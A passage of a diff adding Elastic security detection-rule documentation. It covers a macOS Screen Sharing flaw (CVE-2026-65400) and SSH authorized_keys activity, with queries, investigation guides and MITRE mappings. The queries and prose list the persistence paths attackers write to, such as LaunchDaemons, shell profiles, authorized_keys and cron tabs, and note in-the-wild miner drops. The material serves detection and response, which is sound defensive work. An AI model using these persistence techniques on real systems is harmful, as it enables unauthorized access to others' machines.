activities. +- Document the incident details and response actions taken for future reference and to improve incident response procedures. + + +==== Setup + + + +*Setup* + + + +*Splunk Alert Integration* + +This rule is designed to capture alert events generated by the Splunk integration and promote them as Elastic detection alerts. + +To capture Splunk alerts, install and configure the Splunk integration to ingest alert events into the `logs-splunk.alert-*` index pattern. + +If this rule is enabled alongside the External Alerts promotion rule (UUID: eb079c62-4481-4d6e-9643-3ca499df7aaa), you may receive duplicate alerts for the same Splunk events. Consider adding a rule exception for the External Alert rule to exclude data_stream.dataset:splunk.alert to avoid receiving duplicate alerts. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: splunk.alert + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssfilecopyreceiver-writing-to-common-persistence-locations.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssfilecopyreceiver-writing-to-common-persistence-locations.asciidoc new file mode 100644 index 0000000000..17a1be6250 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssfilecopyreceiver-writing-to-common-persistence-locations.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-ssfilecopyreceiver-writing-to-common-persistence-locations]] +=== SSFileCopyReceiver Writing to Common Persistence Locations + +Identifies the macOS Screen Sharing file copy helper SSFileCopyReceiver creating or modifying files in common persistence locations, including system-wide and per-user LaunchDaemons/LaunchAgents, shell profiles, SSH authorized_keys, cron tabs, and hidden paths under root's home directory. SSFileCopyReceiver performs file writes with root authority on behalf of a remote viewer.Pre-authentication exploitation of the Screen Sharing service (CVE-2026-65400) abuses this write primitive to establish persistence; observed in-the-wild activity dropped LaunchDaemons and modified shell startup files to run a cryptocurrency miner as root. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/macos-screen-sharing-rce-patched +* https://nvd.nist.gov/vuln/detail/CVE-2026-65400 +* https://support.apple.com/en-us/HT201222 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: ES|QL +* Platform: macOS +* Vuln: CVE-2026-65400 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SSFileCopyReceiver Writing to Common Persistence Locations* + + +This rule spots the macOS Screen Sharing file copy helper writing into locations that commonly grant persistence, such as launch items, shell startup files, SSH access files, scheduled task tabs, and hidden directories under root’s home. It matters because this helper performs writes as root for a remote session, so an attacker can exploit Screen Sharing and drop a LaunchDaemon plist or alter .zshrc to start a miner or backdoor every boot or login. + + +*Possible investigation steps* + + +- Review the exact contents and recent versions of the written plist, shell startup file, cron tab, hidden root file, or SSH key file for persistence logic such as RunAtLoad or KeepAlive settings, embedded download commands, unexpected SSH public keys, or references to miner, shell, or staging paths. +- Correlate the file write time with Screen Sharing and VNC access evidence in Unified Logs, authentication records, and inbound network activity to determine whether the change aligns with an approved remote support session or an unsolicited access attempt consistent with exploitation. +- Confirm whether the persistence has executed by examining loaded launchd jobs, recent root-level child processes, and any binaries or scripts referenced by the modified artifact, prioritizing unknown executables, curl or bash chains, and long-running resource-intensive processes. +- Validate the dropped or referenced payloads by collecting hashes, code-signing and notarization status, ownership and permissions, and comparing them to known-good administration tools, approved software, and recent change tickets. +- Scope impact and remediate by hunting fleet-wide for the same plist labels, SSH keys, file hashes, payload paths, and Screen Sharing write patterns, then isolate affected hosts, remove unauthorized persistence, revoke added access, and update or disable exposed Screen Sharing services until patched. + + +*False positive analysis* + + +- A legitimate administrator using macOS Screen Sharing may copy an approved LaunchDaemon or LaunchAgent plist during remote maintenance or software rollout; verify the session was expected and that the plist label, referenced executable, ownership, and signing details match authorized system changes. +- A user support session can legitimately update a shell profile or SSH authorized_keys file to restore access or set environment defaults; confirm the request with the user or admin and review the added commands or keys to ensure they belong to known accounts and do not launch unexpected binaries. + + +*Related Rules* + + +- SSFileCopySender Executed as Root - e54c3f36-e243-402d-9d44-8f7349eb8c88 + + +*Response and remediation* + + +- Isolate the affected Mac from the network, stop any malicious launchd job, miner, or shell started from the newly written LaunchDaemon, LaunchAgent, shell profile, cron tab, hidden root file, or added SSH key, and preserve the modified files and referenced payloads as evidence. +- Remove attacker persistence by deleting unauthorized plist files from /Library/LaunchDaemons or LaunchAgents, reverting changes to .zshrc, .bash_profile, and other startup files, removing unapproved entries from authorized_keys and /var/at/tabs, and unloading any matching launchd services. +- Restore the host to a known-good state by replacing altered configuration files from a trusted backup or gold image, reinstalling any trojanized binaries referenced by the persistence item, and validating ownership, permissions, and code-signing on the restored files. +- Escalate to incident response immediately if the same plist label, SSH public key, payload hash, or Screen Sharing write pattern is found on additional systems, if root-level processes continue after cleanup, or if you identify signs of credential theft or lateral movement. +- Harden the environment by patching or disabling Screen Sharing where it is not required, restricting remote management exposure with firewall and access controls, rotating credentials and SSH keys that may have been added or abused, and monitoring for new writes to LaunchDaemons, shell profiles, cron tabs, and hidden paths under root’s home. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.file-* METADATA _id, _index, _version +| WHERE host.os.type == "macos" + AND event.type != "deletion" + AND process.name == "SSFileCopyReceiver" + AND ( + file.path LIKE "/Library/LaunchDaemons/*.plist" + OR file.path LIKE "/Library/LaunchAgents/*.plist" + OR file.path LIKE "/Users/*/Library/LaunchAgents/*.plist" + OR file.path LIKE "/private/var/*/Library/LaunchAgents/*.plist" + OR file.name IN (".zshenv", ".zshrc", ".zprofile", ".zlogin", ".bashrc", ".bash_profile", ".bash_login", ".profile", "config.fish", "environment.plist") + OR file.path LIKE "/Users/*/.ssh/authorized_keys" + OR file.path LIKE "/private/var/root/.ssh/authorized_keys" + OR file.path LIKE "/private/etc/ssh/sshd_config*" + OR file.path LIKE "/private/var/at/tabs/*" + OR file.path LIKE "/var/at/tabs/*" + OR file.path LIKE "/private/var/root/.*/*" + OR file.path LIKE "/var/root/.*/*" + OR file.path LIKE "/private/var/root/.*" + OR file.path LIKE "/var/root/.*" + ) +| KEEP _id, _index, _version, + @timestamp, host.name, host.id, user.id, user.name, process.name, + event.action, event.type, file.path, file.name, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssfilecopysender-executed-as-root.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssfilecopysender-executed-as-root.asciidoc new file mode 100644 index 0000000000..8ed9be1f08 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssfilecopysender-executed-as-root.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-ssfilecopysender-executed-as-root]] +=== SSFileCopySender Executed as Root + +Identifies execution of the macOS Screen Sharing file-copy helper SSFileCopySender with root UID/GID attributes (0 80). Under the native Apple authentication path this helper runs in the connecting user's context; execution as root is anomalous and consistent with pre-authentication exploitation of the Screen Sharing service (CVE-2026-65400), where a flawed SRP validation path lets an unauthenticated attacker reach privileged file operations. Note that the 0/80 UID/GID pair reflects only initial exploitation attempts and can be evaded once an attacker enumerates another local account. It is advisable to treat this as a tripwire and pair it with the SSFileCopyReceiver Writing to Common Persistence Locations rule coverage. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/macos-screen-sharing-rce-patched +* https://nvd.nist.gov/vuln/detail/CVE-2026-65400 +* https://support.apple.com/en-us/HT201222 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: ES|QL +* Platform: macOS +* Vuln: CVE-2026-65400 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SSFileCopySender Executed as Root* + + +This detects the macOS Screen Sharing file-copy helper starting with root privileges, which is abnormal because legitimate file transfers run in the remote user’s context. That pattern matters because it strongly suggests a pre-authentication Screen Sharing exploit path that lets an unauthenticated attacker invoke privileged file operations, for example by reaching the service over the network and copying a payload into /Library/LaunchDaemons before any user logs in. + + +*Possible investigation steps* + + +- Correlate the alert time with unified logs, firewall records, and endpoint network telemetry to identify the source IP that reached Screen Sharing and determine whether the connection came from an unexpected internal or external host. +- Reconstruct the 5–10 minute execution timeline around the event to capture the launch context and any follow-on activity such as shell, scripting, download, archive, permission-change, or service-management commands. +- Review concurrent and subsequent file activity for newly written or modified items in common staging and persistence paths such as /Library/LaunchDaemons, /Library/LaunchAgents, /Library/PrivilegedHelperTools, /Users/Shared, and temporary directories, and collect hashes for any payloads. +- Validate whether any legitimate remote administration or support session was expected on the host and compare that with authentication and user-session records to spot execution without a corresponding successful login or a rapid pivot to another local account. +- Scope for broader exploitation by confirming whether Screen Sharing or Remote Management was enabled, checking the host’s patch status for CVE-2026-65400, and searching for the same source IP or related indicators across other macOS systems. + + +*False positive analysis* + + +- An authorized administrator may manually invoke SSFileCopySender as root during macOS Screen Sharing troubleshooting or control validation; verify the parent process is an expected local shell or maintenance script, the activity aligns with a documented change window, and there are no unexpected follow-on file writes. +- A lab or staging Mac used for patch verification or regression testing may intentionally exercise the Screen Sharing file-copy helper with the 0/80 arguments; verify the host’s role, confirm the timing matches approved test activity, and ensure any related network source and copied files are expected. +- Legacy VNC authentication runs SSFileCopySender in a root context, so root-context execution alone is expected and this rule will fire on benign legacy-VNC sessions. Treat it as a lead, not a finding and corroborate with a near-in-time "SSFileCopyReceiver Writing to Common Persistence Locations" alert on the same host before take an action. + + +*Related Rules* + + +- SSFileCopyReceiver Writing to Common Persistence Locations - 5773cef4-11a5-4d51-a40b-0e0a79d68432 + + +*Response and remediation* + + +- Immediately isolate the affected Mac from the network, disable Screen Sharing and Remote Management on the host, and block the identified source IP or access path while preserving relevant logs and suspicious files for follow-up analysis. +- Remove attacker footholds by unloading and deleting unauthorized launchd items from /Library/LaunchDaemons and /Library/LaunchAgents, removing rogue binaries from /Library/PrivilegedHelperTools, /Users/Shared, and temporary directories, and deleting any unknown local accounts or added SSH authorized_keys. +- Restore the system to a known-good state by reimaging the host or recovering from a trusted backup if SSFileCopySender was followed by writes to privileged locations, modified system settings, or execution of additional payloads. +- Escalate to incident response immediately if you confirm persistence in system-wide paths, evidence of lateral movement, tampering with security tooling, or the same Screen Sharing source interacting with any other macOS endpoints. +- Harden the environment by applying the vendor patch for CVE-2026-65400, disabling Screen Sharing where it is not required, restricting remote administration to approved management networks or VPN, and rotating passwords for any local or administrative accounts exposed on the host. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* METADATA _id, _index, _version +| WHERE host.os.type == "macos" + AND event.type == "start" + AND process.name == "SSFileCopySender" + AND KQL(""" process.args : "0" AND process.args : "80" """) +| KEEP _id, _version, _index, + @timestamp, + data_stream.namespace, + host.name, + host.id, + user.id, + user.name, + process.name, + process.entity_id, + process.parent.name, + process.command_line +| SORT @timestamp DESC +| LIMIT 100 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssh-authorized-keys-file-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssh-authorized-keys-file-activity.asciidoc new file mode 100644 index 0000000000..ca75840cab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssh-authorized-keys-file-activity.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-ssh-authorized-keys-file-activity]] +=== SSH Authorized Keys File Activity + +The Secure Shell (SSH) authorized_keys file specifies which users are allowed to log into a server using public key authentication. Adversaries may modify it to maintain persistence on a victim host by adding their own public key(s). + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux +* Platform: macOS + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SSH Authorized Keys File Activity* + + +SSH authorized_keys files are crucial for secure, password-less authentication, allowing users to log into servers using public keys. Adversaries exploit this by adding their keys, ensuring persistent access. The detection rule identifies unauthorized changes to these files, excluding benign processes, to flag potential threats, focusing on persistence and lateral movement tactics. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file that was modified, focusing on "authorized_keys", "authorized_keys2", "/etc/ssh/sshd_config", or "/root/.ssh". +- Examine the process that triggered the alert by checking the process executable path to ensure it is not one of the benign processes listed in the exclusion criteria. +- Investigate the user account associated with the modification to determine if it is a legitimate user or potentially compromised. +- Check the timestamp of the file modification to correlate with any known user activity or scheduled tasks that might explain the change. +- Analyze recent login attempts and SSH connections to the server to identify any suspicious activity or unauthorized access. +- Review the contents of the modified authorized_keys file to identify any unfamiliar or unauthorized public keys that have been added. +- If unauthorized keys are found, remove them and consider resetting credentials or keys for affected accounts to prevent further unauthorized access. + + +*False positive analysis* + + +- Development tools like git and maven may modify SSH authorized_keys files during legitimate operations. To prevent these from triggering alerts, add their paths to the exclusion list in the detection rule. +- System utilities such as vim and touch are often used by administrators to manually update authorized_keys files. Consider excluding these processes if they are part of regular maintenance activities. +- Automation tools like puppet and chef-client might update SSH configurations as part of their deployment scripts. Verify these changes are expected and exclude these processes if they are part of routine operations. +- Docker-related processes may alter SSH configurations when containers are being managed. If these changes are part of standard container operations, include the relevant paths in the exclusion list. +- Google Guest Agent and JumpCloud Agent might modify SSH settings as part of their management tasks. Confirm these actions are legitimate and exclude these processes if they align with normal system management activities. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Review the SSH authorized_keys file and remove any unauthorized or suspicious public keys that have been added. +- Change the passwords for all user accounts on the affected host to prevent adversaries from regaining access using compromised credentials. +- Conduct a thorough review of user accounts and permissions on the affected host to identify and disable any unauthorized accounts or privilege escalations. +- Restore the affected system from a known good backup if unauthorized changes are extensive or if the integrity of the system is in question. +- Implement additional monitoring on the affected host and network to detect any further unauthorized access attempts or suspicious activities. +- Escalate the incident to the security operations team for further investigation and to determine if other systems may be affected. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and event.type:(change or creation) and + file.name:("authorized_keys" or "authorized_keys2") and + not process.executable: + (/Library/Developer/CommandLineTools/usr/bin/git or + /usr/local/Cellar/maven/*/libexec/bin/mvn or + /Library/Java/JavaVirtualMachines/jdk*.jdk/Contents/Home/bin/java or + /usr/bin/vim or + /usr/local/Cellar/coreutils/*/bin/gcat or + /usr/bin/bsdtar or + /usr/bin/nautilus or + /usr/bin/scp or + /usr/bin/touch or + /var/lib/docker/* or + /usr/bin/google_guest_agent or + /opt/jc/bin/jumpcloud-agent or + /opt/puppetlabs/puppet/bin/puppet or + /usr/bin/chef-client +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssh-authorized-keys-file-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssh-authorized-keys-file-deletion.asciidoc new file mode 100644 index 0000000000..ab6b938631 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssh-authorized-keys-file-deletion.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-ssh-authorized-keys-file-deletion]] +=== SSH Authorized Keys File Deletion + +This rule detects the deletion of the authorized_keys or authorized_keys2 files on Linux systems. These files are used to store public keys for SSH authentication. Unauthorized deletion of these files can be an indicator of an attacker removing access to the system, and may be a precursor to further malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SSH Authorized Keys File Deletion* + + +SSH authorized keys files are crucial for secure, password-less authentication on Linux systems, storing public keys that grant access. Adversaries may delete these files to disrupt legitimate access or cover their tracks. The detection rule identifies unauthorized deletions by monitoring file removal events, excluding benign processes, thus highlighting potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file name (authorized_keys or authorized_keys2) and the host where the deletion occurred. +- Examine the process that triggered the deletion event, focusing on the process.executable field to determine if it is a known benign process or potentially malicious. +- Check the user account associated with the process that deleted the file to assess if it is a legitimate user or potentially compromised. +- Investigate recent login attempts and SSH access logs on the affected host to identify any unauthorized access or anomalies around the time of the file deletion. +- Look for any other suspicious activities or alerts on the same host that might indicate a broader attack or compromise, such as other file deletions or modifications. +- Assess the impact of the deletion by determining if legitimate access was disrupted and if any critical operations were affected. + + +*False positive analysis* + + +- Routine system maintenance or updates may trigger deletions of authorized_keys files. To handle this, identify and exclude processes related to scheduled maintenance tasks from the detection rule. +- Automated configuration management tools like Ansible or Puppet might remove and recreate authorized_keys files as part of their operations. Consider excluding these tools' processes if they are verified as non-threatening. +- Cloud service agents, such as those from Google Cloud, may modify SSH keys as part of their operations. Ensure that processes like /usr/bin/google_guest_agent are excluded to prevent false positives. +- Container management services like Docker and containerd might interact with SSH keys during container lifecycle events. Exclude these processes if they are part of legitimate container operations. +- Custom scripts or applications that manage SSH keys for legitimate purposes should be reviewed and, if necessary, added to the exclusion list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the attacker. +- Verify the integrity of the SSH configuration and authorized keys files on the affected system. Restore the deleted authorized_keys or authorized_keys2 files from a secure backup if available. +- Conduct a thorough review of recent user and process activity on the affected system to identify any unauthorized access or suspicious behavior that may have led to the deletion. +- Change SSH keys and credentials for all users on the affected system to prevent unauthorized access using potentially compromised keys. +- Implement additional monitoring on the affected system to detect any further unauthorized file deletions or suspicious activities, ensuring that alerts are configured for immediate response. +- Escalate the incident to the security operations team for further investigation and to determine if the attack is part of a larger campaign targeting the organization. +- Review and update access controls and permissions on the affected system to ensure that only authorized users and processes can modify critical files like authorized_keys. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "deletion" and file.name in ("authorized_keys", "authorized_keys2") and +not ( + process.executable in ( + "/usr/bin/google_guest_agent", "/usr/bin/dockerd", "/bin/dockerd", "/usr/bin/containerd" + ) or + process.executable like~ "/nix/store/*" or + file.path like~ ("*backup*", "*ansible*", "*puppet*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssh-key-generated-via-ssh-keygen.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssh-key-generated-via-ssh-keygen.asciidoc new file mode 100644 index 0000000000..f7e94feccd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ssh-key-generated-via-ssh-keygen.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-ssh-key-generated-via-ssh-keygen]] +=== SSH Key Generated via ssh-keygen + +This rule identifies the creation of SSH keys using the ssh-keygen tool, which is the standard utility for generating SSH keys. Users often create SSH keys for authentication with remote services. However, threat actors can exploit this tool to move laterally across a network or maintain persistence by generating unauthorized SSH keys, granting them SSH access to systems. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral 